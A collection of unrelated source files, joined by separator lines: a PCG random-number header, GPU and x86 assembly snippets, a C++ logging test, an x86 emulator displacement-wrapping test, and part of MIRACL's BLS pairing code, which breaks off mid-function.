internal = unxorshift(internal, bits, (2U * bits + 2U) / 3U);
internal *= mcg_unmultiplier<itype>::unmultiplier();
bitcount_t rshift =
opbits ? (internal >> (bits - opbits)) & mask : 0;
internal = unxorshift(internal, bits, opbits + rshift);
return internal;
}
};
/*
* RXS M -- random xorshift, mcg multiply
*/
template <typename xtype, typename itype>
struct rxs_m_mixin {
static xtype output(itype internal) {
constexpr bitcount_t xtypebits = bitcount_t(sizeof(xtype) * 8);
constexpr bitcount_t bits = bitcount_t(sizeof(itype) * 8);
constexpr bitcount_t opbits =
xtypebits >= 128
? 6
: xtypebits >= 64
? 5
: xtypebits >= 32 ? 4 : xtypebits >= 16 ? 3 : 2;
constexpr bitcount_t shift = bits - xtypebits;
constexpr bitcount_t mask = (1 << opbits) - 1;
bitcount_t rshift =
opbits ? (internal >> (bits - opbits)) & mask : 0;
internal ^= internal >> (opbits + rshift);
internal *= mcg_multiplier<itype>::multiplier();
xtype result = internal >> shift;
return result;
}
};
/* ---- End of Output Functions ---- */
template <typename baseclass>
struct inside_out : private baseclass {
inside_out() = delete;
typedef typename baseclass::result_type result_type;
typedef typename baseclass::state_type state_type;
static_assert(sizeof(result_type) == sizeof(state_type),
"Require a RNG whose output function is a permutation");
static bool external_step(result_type& randval, size_t i) {
state_type state = baseclass::unoutput(randval);
state = state * baseclass::multiplier() + baseclass::increment() +
state_type(i * 2);
result_type result = baseclass::output(state);
randval = result;
state_type zero =
baseclass::is_mcg ? state & state_type(3U) : state_type(0U);
return result == zero;
}
static bool external_advance(result_type& randval, size_t i,
result_type delta, bool forwards = true) {
state_type state = baseclass::unoutput(randval);
state_type mult = baseclass::multiplier();
state_type inc = baseclass::increment() + state_type(i * 2);
state_type zero =
baseclass::is_mcg ? state & state_type(3U) : state_type(0U);
state_type dist_to_zero =
baseclass::distance(state, zero, mult, inc);
bool crosses_zero =
forwards ? dist_to_zero <= delta : (-dist_to_zero) <= delta;
if (!forwards)
delta = -delta;
state = baseclass::advance(state, delta, mult, inc);
randval = baseclass::output(state);
return crosses_zero;
}
};
template <bitcount_t table_pow2, bitcount_t advance_pow2,
typename baseclass, typename extvalclass, bool kdd = true>
class extended : public baseclass {
public:
typedef typename baseclass::state_type state_type;
typedef typename baseclass::result_type result_type;
typedef inside_out<extvalclass> insideout;
private:
static constexpr bitcount_t rtypebits = sizeof(result_type) * 8;
static constexpr bitcount_t stypebits = sizeof(state_type) * 8;
static constexpr bitcount_t tick_limit_pow2 = 64U;
static constexpr size_t table_size = 1UL << table_pow2;
static constexpr size_t table_shift = stypebits - table_pow2;
static constexpr state_type table_mask =
(state_type(1U) << table_pow2) - state_type(1U);
static constexpr bool may_tick =
(advance_pow2 < stypebits) && (advance_pow2 < tick_limit_pow2);
static constexpr size_t tick_shift = stypebits - advance_pow2;
static constexpr state_type tick_mask =
may_tick
? state_type((uint64_t(1) << (advance_pow2 * may_tick)) - 1)
// ^-- stupidity to appease GCC warnings
: ~state_type(0U);
static constexpr bool may_tock = stypebits < tick_limit_pow2;
result_type data_[table_size];
PCG_NOINLINE void advance_table();
PCG_NOINLINE void advance_table(state_type delta,
bool isForwards = true);
result_type& get_extended_value() {
state_type state = this->state_;
if (kdd && baseclass::is_mcg) {
// The low order bits of an MCG are constant, so drop them.
state >>= 2;
}
size_t index = kdd ? state & table_mask : state >> table_shift;
if (may_tick) {
bool tick = kdd ? (state & tick_mask) == state_type(0u)
: (state >> tick_shift) == state_type(0u);
if (tick)
advance_table();
}
if (may_tock) {
bool tock = state == state_type(0u);
if (tock)
advance_table();
}
return data_[index];
}
public:
static constexpr size_t period_pow2() {
return baseclass::period_pow2() +
table_size * extvalclass::period_pow2();
}
PCG_ALWAYS_INLINE result_type operator()() {
result_type rhs = get_extended_value();
result_type lhs = this->baseclass::operator()();
return lhs ^ rhs;
}
result_type operator()(result_type upper_bound) {
return bounded_rand(*this, upper_bound);
}
void set(result_type wanted) {
result_type& rhs = get_extended_value();
result_type lhs = this->baseclass::operator()();
rhs = lhs ^ wanted;
}
void advance(state_type distance, bool forwards = true);
void backstep(state_type distance) { advance(distance, false); }
extended(const result_type* data) : baseclass() { datainit(data); }
extended(const result_type* data, state_type seed) : baseclass(seed) {
datainit(data);
}
// This function may or may not exist. It thus has to be a template
// to use SFINAE; users don't have to worry about its template-ness.
template <typename bc = baseclass>
extended(const result_type* data, state_type seed,
typename bc::stream_state stream_seed)
: baseclass(seed, stream_seed) {
datainit(data);
}
extended() : baseclass() { selfinit(); }
extended(state_type seed) : baseclass(seed) { selfinit(); }
// This function may or may not exist. It thus has to be a template
// to use SFINAE; users don't have to worry about its template-ness.
template <typename bc = baseclass>
extended(state_type seed, typename bc::stream_state stream_seed)
: baseclass(seed, stream_seed) {
selfinit();
}
private:
void selfinit();
void datainit(const result_type* data);
public:
template <typename SeedSeq,
typename = typename std::enable_if<
!std::is_convertible<SeedSeq, result_type>::value &&
!std::is_convertible<SeedSeq, extended>::value>::type>
extended(SeedSeq&& seedSeq) : baseclass(seedSeq) {
generate_to<table_size>(seedSeq, data_);
}
template <typename... Args>
void seed(Args&&... args) {
new (this) extended(std::forward<Args>(args)...);
}
template <bitcount_t table_pow2_, bitcount_t advance_pow2_,
typename baseclass_, typename extvalclass_, bool kdd_>
friend bool operator==(const extended<table_pow2_, advance_pow2_,
baseclass_, extvalclass_, kdd_>&,
const extended<table_pow2_, advance_pow2_,
baseclass_, extvalclass_, kdd_>&);
template <typename CharT, typename Traits, bitcount_t table_pow2_,
bitcount_t advance_pow2_, typename baseclass_,
typename extvalclass_, bool kdd_>
friend std::basic_ostream<CharT, Traits>& operator<<(
std::basic_ostream<CharT, Traits>& out,
const extended<table_pow2_, advance_pow2_, baseclass_, extvalclass_,
kdd_>&);
template <typename CharT, typename Traits, bitcount_t table_pow2_,
bitcount_t advance_pow2_, typename baseclass_,
typename extvalclass_, bool kdd_>
friend std::basic_istream<CharT, Traits>& operator>>(
std::basic_istream<CharT, Traits>& in,
extended<table_pow2_, advance_pow2_, baseclass_, extvalclass_,
kdd_>&);
};
template <bitcount_t table_pow2, bitcount_t advance_pow2,
typename baseclass, typename extvalclass, bool kdd>
void extended<table_pow2, advance_pow2, baseclass, extvalclass,
kdd>::datainit(const result_type* data) {
for (size_t i = 0; i < table_size; ++i)
data_[i] = data[i];
}
template <bitcount_t table_pow2, bitcount_t advance_pow2,
typename baseclass, typename extvalclass, bool kdd>
void extended<table_pow2, advance_pow2, baseclass, extvalclass,
kdd>::selfinit() {
// We need to fill the extended table with something, and we have
// very little provided data, so we use the base generator to
// produce values. Although not ideal (use a seed sequence, folks!),
// unexpected correlations are mitigated by
// - using XOR differences rather than the number directly
// - the way the table is accessed, its values *won't* be accessed
// in the same order the were written.
// - any strange correlations would only be apparent if we
// were to backstep the generator so that the base generator
// was generating the same values again
result_type lhs = baseclass::operator()();
result_type rhs = baseclass::operator()();
result_type xdiff = lhs - rhs;
for (size_t i = 0; i < table_size; ++i) {
data_[i] = baseclass::operator()() ^ xdiff;
}
}
template <bitcount_t table_pow2, bitcount_t advance_pow2,
typename baseclass, typename extvalclass, bool kdd>
bool operator==(const extended<table_pow2, advance_pow2, baseclass,
extvalclass, kdd>& lhs,
const extended<table_pow2, advance_pow2, baseclass,
extvalclass, kdd>& rhs) {
auto& base_lhs = static_cast<const baseclass&>(lhs);
auto& base_rhs = static_cast<const baseclass&>(rhs);
return base_lhs == base_rhs &&
std::equal(std::begin(lhs.data_), std::end(lhs.data_),
std::begin(rhs.data_));
}
template <bitcount_t table_pow2, bitcount_t advance_pow2,
typename baseclass, typename extvalclass, bool kdd>
inline bool operator!=(const extended<table_pow2, advance_pow2, baseclass,
extvalclass, kdd>& lhs,
const extended<table_pow2, advance_pow2, baseclass,
extvalclass, kdd>& rhs) {
return !operator==(lhs, rhs);
}
template <typename CharT, typename Traits, bitcount_t table_pow2,
bitcount_t advance_pow2, typename baseclass, typename extvalclass,
bool kdd>
std::basic_ostream<CharT, Traits>& operator<<(
std::basic_ostream<CharT, Traits>& out,
const extended<table_pow2, advance_pow2, baseclass, extvalclass, kdd>&
rng) {
auto orig_flags = out.flags(std::ios_base::dec | std::ios_base::left);
auto space = out.widen(' ');
auto orig_fill = out.fill();
out << rng.multiplier() << space << rng.increment() << space
<< rng.state_;
for (const auto& datum : rng.data_)
out << space << datum;
out.flags(orig_flags);
out.fill(orig_fill);
return out;
}
template <typename CharT, typename Traits, bitcount_t table_pow2,
bitcount_t advance_pow2, typename baseclass, typename extvalclass,
bool kdd>
std::basic_istream<CharT, Traits>& operator>>(
std::basic_istream<CharT, Traits>& in,
extended<table_pow2, advance_pow2, baseclass, extvalclass, kdd>& rng) {
extended<table_pow2, advance_pow2, baseclass, extvalclass> new_rng;
auto& base_rng = static_cast<baseclass&>(new_rng);
in >> base_rng;
if (in.fail())
return in;
auto orig_flags = in.flags(std::ios_base::dec | std::ios_base::skipws);
for (auto& datum : new_rng.data_) {
in >> datum;
if (in.fail())
goto bail;
}
rng = new_rng;
bail:
in.flags(orig_flags);
return in;
}
template <bitcount_t table_pow2, bitcount_t advance_pow2,
typename baseclass, typename extvalclass, bool kdd>
void extended<table_pow2, advance_pow2, baseclass, extvalclass,
kdd>::advance_table() {
bool carry = false;
for (size_t i = 0; i < table_size; ++i) {
if (carry) {
carry = insideout::external_step(data_[i], i + 1);
}
bool carry2 = insideout::external_step(data_[i], i + 1);
carry = carry || carry2;
}
}
template <bitcount_t table_pow2, bitcount_t advance_pow2,
typename baseclass, typename extvalclass, bool kdd>
void extended<table_pow2, advance_pow2, baseclass, extvalclass,
kdd>::advance_table(state_type delta, bool isForwards) {
typedef typename baseclass::state_type base_state_t;
typedef typename extvalclass::state_type ext_state_t;
constexpr bitcount_t basebits = sizeof(base_state_t) * 8;
constexpr bitcount_t extbits = sizeof(ext_state_t) * 8;
static_assert(basebits <= extbits || advance_pow2 > 0,
"Current implementation might overflow its carry");
base_state_t carry = 0;
for (size_t i = 0; i < table_size; ++i) {
base_state_t total_delta = carry + delta;
ext_state_t trunc_delta = ext_state_t(total_delta);
if (basebits > extbits) {
carry = total_delta >> extbits;
} else {
carry = 0;
}
carry += insideout::external_advance(data_[i], i + 1, trunc_delta,
isForwards);
}
}
template <bitcount_t table_pow2, bitcount_t advance_pow2,
typename baseclass, typename extvalclass, bool kdd>
void extended<table_pow2, advance_pow2, baseclass, extvalclass,
kdd>::advance(state_type distance, bool forwards) {
static_assert(kdd,
"Efficient advance is too hard for non-kdd extension. "
"For a weak advance, cast to base class");
state_type zero =
baseclass::is_mcg ? this->state_ & state_type(3U) : state_type(0U);
if (may_tick) {
state_type ticks = distance >> (advance_pow2 * may_tick);
// ^-- stupidity to appease GCC
// warnings
state_type adv_mask =
baseclass::is_mcg ? tick_mask << 2 : tick_mask;
state_type next_advance_distance = this->distance(zero, adv_mask);
if (!forwards)
next_advance_distance = (-next_advance_distance) & tick_mask;
if (next_advance_distance < (distance & tick_mask)) {
++ticks;
}
if (ticks)
advance_table(ticks, forwards);
}
if (forwards) {
if (may_tock && this->distance(zero) <= distance)
advance_table();
baseclass::advance(distance);
} else {
if (may_tock && -(this->distance(zero)) <= distance)
advance_table(state_type(1U), false);
baseclass::advance(-distance);
}
}
} // namespace pcg_detail
namespace pcg_engines {
using namespace pcg_detail;
/* Predefined types for XSH RS */
typedef mcg_base<uint8_t, uint16_t, xsh_rs_mixin> mcg_xsh_rs_16_8;
typedef mcg_base<uint16_t, uint32_t, xsh_rs_mixin> mcg_xsh_rs_32_16;
typedef mcg_base<uint32_t, uint64_t, xsh_rs_mixin> mcg_xsh_rs_64_32;
} // namespace pcg_engines
typedef pcg_engines::mcg_xsh_rs_64_32 pcg32_fast;
#ifdef _MSC_VER
#pragma warning(default : 4146)
#endif
#endif // PCG_RAND_HPP_INCLUDED
|
/*
* Copyright (c) 2017, Intel Corporation
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included
* in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR
* OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
* ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
* OTHER DEALINGS IN THE SOFTWARE.
*/
L0:
(W&~f0.1)jmpi L256
L16:
add (1|M0) a0.0<1>:ud r23.5<0;1,0>:ud 0x48EC100:ud
mov (1|M0) r16.2<1>:ud 0x0:ud
and (1|M0) r16.3<1>:ud r0.3<0;1,0>:ud 0xFFFFFFFE:ud
mov (8|M0) r17.0<1>:ud r25.0<8;8,1>:ud
mov (1|M0) r17.2<1>:f r10.6<0;1,0>:f
mov (1|M0) r17.3<1>:f r10.5<0;1,0>:f
send (1|M0) r112:uw r16:ub 0x2 a0.0
mov (1|M0) r17.2<1>:f r10.1<0;1,0>:f
mov (1|M0) r17.3<1>:f r10.5<0;1,0>:f
send (1|M0) r120:uw r16:ub 0x2 a0.0
mov (1|M0) a0.8<1>:uw 0xE00:uw
mov (1|M0) a0.9<1>:uw 0xE40:uw
mov (1|M0) a0.10<1>:uw 0xE80:uw
mov (1|M0) a0.11<1>:uw 0xEC0:uw
add (4|M0) a0.12<1>:uw a0.8<4;4,1>:uw 0x100:uw
L256:
nop
|
#include <iostream>
#include "Log_test.hpp"
#include "Log.hpp"
#include "Test.hpp"
#include "TestCases.hpp"
#include "TestMacros.hpp"
TEST_PROGRAM_MAIN(Log_test);
//==============================================================================
void Log_test::addTestCases()
{
ADD_TEST_CASE(GreenwichMeanTime);
ADD_TEST_CASE(LocalTime);
}
//==============================================================================
void Log_test::GreenwichMeanTime::addTestCases()
{
ADD_TEST_CASE(Normal);
ADD_TEST_CASE(Warning);
ADD_TEST_CASE(Error);
}
//==============================================================================
void Log_test::LocalTime::addTestCases()
{
ADD_TEST_CASE(Normal);
ADD_TEST_CASE(Warning);
ADD_TEST_CASE(Error);
}
//==============================================================================
Test::Result Log_test::GreenwichMeanTime::Normal::body()
{
Log log;
log.useGreenwichMeanTime();
log.write("message1");
return Test::PASSED;
}
//==============================================================================
Test::Result Log_test::GreenwichMeanTime::Warning::body()
{
Log log;
log.useGreenwichMeanTime();
log.writeWarning("message1");
return Test::PASSED;
}
//==============================================================================
Test::Result Log_test::GreenwichMeanTime::Error::body()
{
Log log;
log.useGreenwichMeanTime();
log.writeError("message1");
return Test::PASSED;
}
//==============================================================================
Test::Result Log_test::LocalTime::Normal::body()
{
Log log;
log.useLocalTime();
log.write("message1");
return Test::PASSED;
}
//==============================================================================
Test::Result Log_test::LocalTime::Warning::body()
{
Log log;
log.useLocalTime();
log.writeWarning("message1");
return Test::PASSED;
}
//==============================================================================
Test::Result Log_test::LocalTime::Error::body()
{
Log log;
log.useLocalTime();
log.writeError("message1");
return Test::PASSED;
}
|
; A047401: Numbers that are congruent to {0, 1, 3, 6} mod 8.
; 0,1,3,6,8,9,11,14,16,17,19,22,24,25,27,30,32,33,35,38,40,41,43,46,48,49,51,54,56,57,59,62,64,65,67,70,72,73,75,78,80,81,83,86,88,89,91,94,96,97,99,102,104,105,107,110,112,113,115,118,120,121,123
mov $1,$0
mul $0,8
add $1,11
mod $1,4
add $0,$1
sub $0,2
div $0,4
|
###############################################################################
# Copyright 2018 Intel Corporation
# All Rights Reserved.
#
# If this software was obtained under the Intel Simplified Software License,
# the following terms apply:
#
# The source code, information and material ("Material") contained herein is
# owned by Intel Corporation or its suppliers or licensors, and title to such
# Material remains with Intel Corporation or its suppliers or licensors. The
# Material contains proprietary information of Intel or its suppliers and
# licensors. The Material is protected by worldwide copyright laws and treaty
# provisions. No part of the Material may be used, copied, reproduced,
# modified, published, uploaded, posted, transmitted, distributed or disclosed
# in any way without Intel's prior express written permission. No license under
# any patent, copyright or other intellectual property rights in the Material
# is granted to or conferred upon you, either expressly, by implication,
# inducement, estoppel or otherwise. Any license under such intellectual
# property rights must be express and approved by Intel in writing.
#
# Unless otherwise agreed by Intel in writing, you may not remove or alter this
# notice or any other notice embedded in Materials by Intel or Intel's
# suppliers or licensors in any way.
#
#
# If this software was obtained under the Apache License, Version 2.0 (the
# "License"), the following terms apply:
#
# You may not use this file except in compliance with the License. You may
# obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0
#
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
#
# See the License for the specific language governing permissions and
# limitations under the License.
###############################################################################
.section .note.GNU-stack,"",%progbits
.text
.p2align 4, 0x90
.globl m7_PurgeBlock
.type m7_PurgeBlock, @function
m7_PurgeBlock:
movslq %esi, %rcx
xor %rax, %rax
sub $(8), %rcx
jl .Ltest_purgegas_1
.Lpurge8gas_1:
movq %rax, (%rdi)
add $(8), %rdi
sub $(8), %rcx
jge .Lpurge8gas_1
.Ltest_purgegas_1:
add $(8), %rcx
jz .Lquitgas_1
.Lpurge1gas_1:
movb %al, (%rdi)
add $(1), %rdi
sub $(1), %rcx
jg .Lpurge1gas_1
.Lquitgas_1:
ret
.Lfe1:
.size m7_PurgeBlock, .Lfe1-(m7_PurgeBlock)
|
%ifdef CONFIG
{
"RegData": {
"RAX": "0x41424344"
},
"Mode": "32BIT"
}
%endif
; Tests for 32-bit signed displacement wrapping
; Testing for underflow specifically
; Will crash or hit the code we emit to memory
; We map ten pages to 0xe000'0000
; Generate a mov eax + hlt over there first
; 0xb8'44'43'42'41: mov eax, 0x41424344
; 0xf4: hlt
mov ebx, 0xe0000000
mov al, 0xb8
mov byte [ebx], al
mov eax, 0x41424344
mov dword [ebx + 1], eax
mov al, 0xf4
mov byte [ebx + 5], al
; Do a jump dance to stop multiblock from trying to optimize
; Otherwise it will JIT code from 0xe000'0000 before written
lea ebx, [rel next]
jmp ebx
next:
; Move temp to eax to overwrite
mov eax, 0
; Setup esp
mov esp, 0xe0001000
; This is dependent on where it is in the code!
call -0x20000000
; Definitely wrong if we hit here
mov eax, -1
hlt
|
/***************************************************************************
*
Copyright 2013 CertiVox IOM Ltd. *
*
This file is part of CertiVox MIRACL Crypto SDK. *
*
The CertiVox MIRACL Crypto SDK provides developers with an *
extensive and efficient set of cryptographic functions. *
For further information about its features and functionalities please *
refer to http://www.certivox.com *
*
* The CertiVox MIRACL Crypto SDK is free software: you can *
redistribute it and/or modify it under the terms of the *
GNU Affero General Public License as published by the *
Free Software Foundation, either version 3 of the License, *
or (at your option) any later version. *
*
* The CertiVox MIRACL Crypto SDK is distributed in the hope *
that it will be useful, but WITHOUT ANY WARRANTY; without even the *
implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. *
See the GNU Affero General Public License for more details. *
*
* You should have received a copy of the GNU Affero General Public *
License along with CertiVox MIRACL Crypto SDK. *
If not, see <http://www.gnu.org/licenses/>. *
*
You can be released from the requirements of the license by purchasing *
a commercial license. Buying such a license is mandatory as soon as you *
develop commercial activities involving the CertiVox MIRACL Crypto SDK *
without disclosing the source code of your own applications, or shipping *
the CertiVox MIRACL Crypto SDK with a closed source product. *
*
***************************************************************************/
/*
* bls_pair.cpp
*
* BLS curve, ate pairing embedding degree 24, ideal for security level AES-256
*
* Irreducible poly is X^3+n, where n=sqrt(w+sqrt(m)), m= {-1,-2} and w= {0,1,2}
* if p=5 mod 8, n=sqrt(-2)
* if p=3 mod 8, n=1+sqrt(-1)
* if p=7 mod 8, p=2,3 mod 5, n=2+sqrt(-1)
*
* Provides high level interface to pairing functions
*
* GT=pairing(G2,G1)
*
* This is calculated on a Pairing Friendly Curve (PFC), which must first be defined.
*
* G1 is a point over the base field, and G2 is a point over an extension field of degree 3
* GT is a finite field point over the 18-th extension, where 18 is the embedding degree.
*
*/
#define MR_PAIRING_BLS
#include "pairing_3.h"
// BLS curve
//static char param[]= "E000000000058400";
//static char curveB[]="6";
//Better BLS curve
static char param[]= "8010000A00000000";
static char curveB[]="A";
void read_only_error(void)
{
cout << "Attempt to write to read-only object" << endl;
exit(0);
}
// Suitable for p=7 mod 12
void set_frobenius_constant(ZZn2 &X)
{
Big p=get_modulus();
X.set((Big)1,(Big)1); // p=3 mod 8
X=pow(X,(p-7)/12);
}
ZZn24 Frobenius(ZZn24 P, ZZn2 &X, int k)
{
ZZn24 Q=P;
for (int i=0; i<k; i++)
Q.powq(X);
return Q;
}
// Using SHA256 as basic hash algorithm
//
// Hash function
//
#define HASH_LEN 32
Big H1(char *string)
{ // Hash a zero-terminated string to a number < modulus
Big h,p;
char s[HASH_LEN];
int i,j;
sha256 sh;
shs256_init(&sh);
for (i=0;;i++)
{
if (string[i]==0) break;
shs256_process(&sh,string[i]);
}
shs256_hash(&sh,s);
p=get_modulus();
h=1; j=0; i=1;
forever
{
h*=256;
if (j==HASH_LEN) {h+=i++; j=0;}
else h+=s[j++];
if (h>=p) break;
}
h%=p;
return h;
}
void PFC::start_hash(void)
{
shs256_init(&SH);
}
Big PFC::finish_hash_to_group(void)
{
Big hash;
char s[HASH_LEN];
shs256_hash(&SH,s);
hash=from_binary(HASH_LEN,s);
return hash%(*ord);
}
void PFC::add_to_hash(const GT& x)
{
ZZn8 u;
ZZn24 v=x.g;
ZZn4 h,l;
ZZn2 t,b;
Big a;
ZZn xx[8];
int i,j,m;
v.get(u);
u.get(l,h);
l.get(t,b);
t.get(xx[0],xx[1]);
b.get(xx[2],xx[3]);
h.get(t,b);
t.get(xx[4],xx[5]);
b.get(xx[6],xx[7]);
for (i=0;i<8;i++)
{
a=(Big)xx[i];
while (a>0)
{
m=a%256;
shs256_process(&SH,m);
a/=256;
}
}
}
void PFC::add_to_hash(const G2& x)
{
ZZn4 X,Y;
ECn4 v=x.g;
Big a;
ZZn2 t,b;
ZZn xx[8];
int i,m;
v.get(X,Y);
X.get(t,b);
t.get(xx[0],xx[1]);
b.get(xx[2],xx[3]);
Y.get(t,b);
t.get(xx[4],xx[5]);
b.get(xx[6],xx[7]);
for (i=0;i<8;i++)
{
a=(Big)xx[i];
while (a>0)
{
m=a%256;
shs256_process(&SH,m);
a/=256;
}
}
}
void PFC::add_to_hash(const G1& x)
{
Big a,X,Y;
int i,m;
x.g.get(X,Y);
a=X;
while (a>0)
{
m=a%256;
shs256_process(&SH,m);
a/=256;
}
a=Y;
while (a>0)
{
m=a%256;
shs256_process(&SH,m);
a/=256;
}
}
void PFC::add_to_hash(const Big& x)
{
int m;
Big a=x;
while (a>0)
{
m=a%256;
shs256_process(&SH,m);
a/=256;
}
}
Big H2(ZZn24 x)
{ // Compress and hash an Fp24 to a big number
sha256 sh;
ZZn8 u;
ZZn4 h,l;
ZZn2 t,b;
Big a,hash,p;
ZZn xx[8];
char s[HASH_LEN];
int i,j,m;
shs256_init(&sh);
x.get(u); // compress to single ZZn4
u.get(l,h);
l.get(t,b);
t.get(xx[0],xx[1]);
b.get(xx[2],xx[3]);
h.get(t,b);
t.get(xx[4],xx[5]);
b.get(xx[6],xx[7]);
for (i=0;i<8;i++)
{
a=(Big)xx[i];
while (a>0)
{
m=a%256;
shs256_process(&sh,m);
a/=256;
}
}
shs256_hash(&sh,s);
hash=from_binary(HASH_LEN,s);
return hash;
}
#ifndef MR_AFFINE_ONLY
void force(ZZn& x,ZZn& y,ZZn& z,ECn& A)
{ // A=(x,y,z)
copy(getbig(x),A.get_point()->X);
copy(getbig(y),A.get_point()->Y);
copy(getbig(z),A.get_point()->Z);
A.get_point()->marker=MR_EPOINT_GENERAL;
}
void extract(ECn &A, ZZn& x,ZZn& y,ZZn& z)
{ // (x,y,z) <- A
big t;
x=(A.get_point())->X;
y=(A.get_point())->Y;
t=(A.get_point())->Z;
if (A.get_status()!=MR_EPOINT_GENERAL) z=1;
else z=t;
}
#endif
void force(ZZn& x,ZZn& y,ECn& A)
{ // A=(x,y)
copy(getbig(x),A.get_point()->X);
copy(getbig(y),A.get_point()->Y);
A.get_point()->marker=MR_EPOINT_NORMALIZED;
}
void extract(ECn& A,ZZn& x,ZZn& y)
{ // (x,y) <- A
x=(A.get_point())->X;
y=(A.get_point())->Y;
}
//
// This calculates p.A = (X^p,Y^p) quickly using Frobenius
// 1. Extract A(x,y) from twisted curve to point on curve over full extension, as X=i^2.x and Y=i^3.y
// where i=NR^(1/k)
// 2. Using Frobenius calculate (X^p,Y^p)
// 3. map back to twisted curve
// Here we simplify things by doing whole calculation on the twisted curve
//
// Note we have to be careful as in detail it depends on w where p=w mod k
// Its simplest if w=1.
//
ECn4 psi(ECn4 &A,ZZn2 &F,int n)
{
int i;
ECn4 R;
ZZn4 X,Y;
ZZn2 FF,W;
// Fast multiplication of A by q^n
A.get(X,Y);
FF=F*F;
W=txx(txx(txx(FF*FF*FF)));
for (i=0;i<n;i++)
{ // assumes p=7 mod 12
X.powq(W); X=tx(tx(FF*X));
Y.powq(W); Y=tx(tx(tx(FF*F*Y)));
}
R.set(X,Y);
return R;
}
//
// Line from A to destination C. Let A=(x,y)
// Line Y-slope.X-c=0, through A, so intercept c=y-slope.x
// Line Y-slope.X-y+slope.x = (Y-y)-slope.(X-x) = 0
// Now evaluate at Q -> return (Qy-y)-slope.(Qx-x)
//
ZZn24 line(ECn4& A,ECn4& C,ZZn4& slope,ZZn& Qx,ZZn& Qy)
{
ZZn24 w;
ZZn8 nn,dd;
ZZn4 X,Y;
A.get(X,Y);
nn.set((ZZn4)Qy,Y-slope*X);
dd.set(slope*Qx);
w.set(nn,dd);
return w;
}
//
// Add A=A+B (or A=A+A)
// Return line function value
//
ZZn24 g(ECn4& A,ECn4& B,ZZn& Qx,ZZn& Qy)
{
ZZn4 lam;
ZZn24 r;
ECn4 P=A;
// Evaluate line from A
A.add(B,lam);
if (A.iszero()) return (ZZn24)1;
r=line(P,A,lam,Qx,Qy);
return r;
}
// if multiples of G2 can be precalculated, its a lot faster!
ZZn24 gp(ZZn4* ptable,int &j,ZZn& Px,ZZn& Py)
{
ZZn24 w;
ZZn8 nn,dd;
nn.set(Py,ptable[j+1]);
dd.set(ptable[j]*Px);
j+=2;
w.set(nn,dd);
return w;
}
//
// Spill precomputation on pairing to byte array
//
int PFC::spill(G2& w,char *& bytes)
{
int i,j,len,m;
int bytes_per_big=(MIRACL/8)*(get_mip()->nib-1);
Big n=*x;
if (w.ptable==NULL) return 0;
ZZn2 a,b;
Big X,Y;
m=2*(bits(n)+ham(n)-2);
len=m*4*bytes_per_big;
bytes=new char[len];
for (i=j=0;i<m;i++)
{
w.ptable[i].get(a,b);
a.get(X,Y);
to_binary(X,bytes_per_big,&bytes[j],TRUE);
j+=bytes_per_big;
to_binary(Y,bytes_per_big,&bytes[j],TRUE);
j+=bytes_per_big;
b.get(X,Y);
to_binary(X,bytes_per_big,&bytes[j],TRUE);
j+=bytes_per_big;
to_binary(Y,bytes_per_big,&bytes[j],TRUE);
j+=bytes_per_big;
}
delete [] w.ptable;
w.ptable=NULL;
return len;
}
//
// Restore precomputation on pairing to byte array
//
void PFC::restore(char * bytes,G2& w)
{
int i,j,len,m;
int bytes_per_big=(MIRACL/8)*(get_mip()->nib-1);
Big n=*x;
if (w.ptable!=NULL) return;
ZZn2 a,b;
Big X,Y;
m=2*(bits(n)+ham(n)-2);
len=m*4*bytes_per_big;
w.ptable=new ZZn4[m];
for (i=j=0;i<m;i++)
{
X=from_binary(bytes_per_big,&bytes[j]);
j+=bytes_per_big;
Y=from_binary(bytes_per_big,&bytes[j]);
j+=bytes_per_big;
a.set(X,Y);
X=from_binary(bytes_per_big,&bytes[j]);
j+=bytes_per_big;
Y=from_binary(bytes_per_big,&bytes[j]);
j+=bytes_per_big;
b.set(X,Y);
w.ptable[i].set(a,b);
}
for (i=0;i<len;i++) bytes[i]=0;
delete [] bytes;
}
// precompute G2 table for pairing
int PFC::precomp_for_pairing(G2& w)
{
int i,j,nb,len;
ECn4 A,Q,B;
ZZn4 lam,x1,y1;
Big n;
Big X=*x;
A=w.g;
B=A;
n=X;
nb=bits(n);
j=0;
len=2*(nb+ham(n)-2);
w.ptable=new ZZn4[len];
for (i=nb-2;i>=0;i--)
{
Q=A;
// Evaluate line from A to A+A
A.add(A,lam);
Q.get(x1,y1);
w.ptable[j++]=lam; w.ptable[j++]=y1-lam*x1;
if (bit(n,i)==1)
{
Q=A;
A.add(B,lam);
Q.get(x1,y1);
w.ptable[j++]=lam; w.ptable[j++]=y1-lam*x1;
}
}
return len;
}
GT PFC::multi_miller(int n,G2** QQ,G1** PP)
{
GT z;
ZZn *Px,*Py;
int i,j,*k,nb;
ECn4 *Q,*A;
ECn P;
ZZn24 res;
Big X=*x;
Px=new ZZn[n];
Py=new ZZn[n];
Q=new ECn4[n];
A=new ECn4[n];
k=new int[n];
nb=bits(X);
res=1;
for (j=0;j<n;j++)
{
k[j]=0;
P=PP[j]->g; normalise(P); Q[j]=QQ[j]->g;
extract(P,Px[j],Py[j]);
}
for (j=0;j<n;j++) A[j]=Q[j];
for (i=nb-2;i>=0;i--)
{
res*=res;
for (j=0;j<n;j++)
{
if (QQ[j]->ptable==NULL)
res*=g(A[j],A[j],Px[j],Py[j]);
else
res*=gp(QQ[j]->ptable,k[j],Px[j],Py[j]);
}
